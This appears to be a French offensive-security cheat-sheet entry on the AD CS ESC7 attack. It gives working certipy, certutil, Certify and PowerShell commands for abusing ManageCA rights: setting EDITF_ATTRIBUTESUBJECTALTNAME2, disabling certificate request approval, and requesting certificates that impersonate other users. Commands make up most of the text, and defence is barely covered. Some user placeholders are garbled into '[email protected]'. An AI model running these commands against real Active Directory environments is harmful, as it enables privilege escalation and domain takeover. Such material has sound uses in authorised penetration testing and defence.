### Description
ESC7 exploite des permissions excessives sur l'autorité de certification elle-même, permettant à un utilisateur de définir le flag `EDITF_ATTRIBUTESUBJECTALTNAME2` via l'interface de gestion à distance ou de désactiver l'approbation des certificats, créant ainsi artificiellement les conditions pour d'autres attaques (comme ESC6).
### Conditions vulnérables
Une CA est vulnérable à ESC7 si :
1. **Permissions de gestion sur la CA** - L'utilisateur a les droits `ManageCA` ou `ManageCertificates`
2. **Accès aux interfaces de gestion** - Possibilité d'utiliser `certutil`, MMC, ou les interfaces distantes
3. **Templates d'authentification disponibles** - Des modèles permettant l'authentification existent
4. **Pas de protection additionnelle** - Absence de monitoring ou de restrictions sur les modifications de configuration
---
### Exploitation depuis linux (certipy)
Enumération des permissions sur les CAs :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération avec focus sur les permissions CA
certipy find -u
[email protected] -p password -target dc01.domain.local -json -output ca_permissions.json
# Recherche spécifique des permissions ManageCA
certipy find -u
[email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "ManageCA\|ManageCertificates"
```
Activation du flag EDITF_ATTRIBUTESUBJECTALTNAME2 :
```bash
# Tentative de modification de la configuration CA via certipy
certipy ca -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -enable-user-specified-san
# Vérification que le flag est maintenant activé
certipy find -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA'
```
Exploitation post-modification (ESC6) :
```bash
# Maintenant que EDITF_ATTRIBUTESUBJECTALTNAME2 est activé, exploitation ESC6
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'User' -upn
[email protected]
```
Désactivation de l'approbation manuelle :
```bash
certipy ca -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -disable-request-approval
```
---
### Exploitation depuis windows (certutil + PowerShell)
Enumération des permissions sur les CAs :
```powershell
# Énumération des modèles et CAs vulnérables
Certify.exe find /vulnerable
# Recherche spécifique des permissions ManageCA
Certify.exe find /vulnerable | findstr "ManageCA\|ManageCertificates"
# Vérification manuelle des permissions
icacls "C:\Windows\System32\CertSrv" /T
```
Modification de la configuration CA :
```powershell
# Activation du flag EDITF_ATTRIBUTESUBJECTALTNAME2 (nécessite ManageCA)
certutil -setreg CA\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
# Vérification de l'activation
certutil -getreg CA\EditFlags
# Redémarrage du service CA pour appliquer les changements
Restart-Service CertSvc
```
Modification des politiques d'approbation :
```powershell
# Désactivation de l'approbation manuelle sur tous les modèles
certutil -setreg CA\RequestDisposition 1
# Ou modification spécifique via registre
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*" -Name RequestDisposition -Value 1
```
Exploitation post-modification :
```powershell
# Exploitation ESC6 maintenant possible
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:User /altname:
[email protected]
# Ou modification de templates existants (si permissions suffisantes)
certutil -SetCATemplates +VulnerableTemplate
```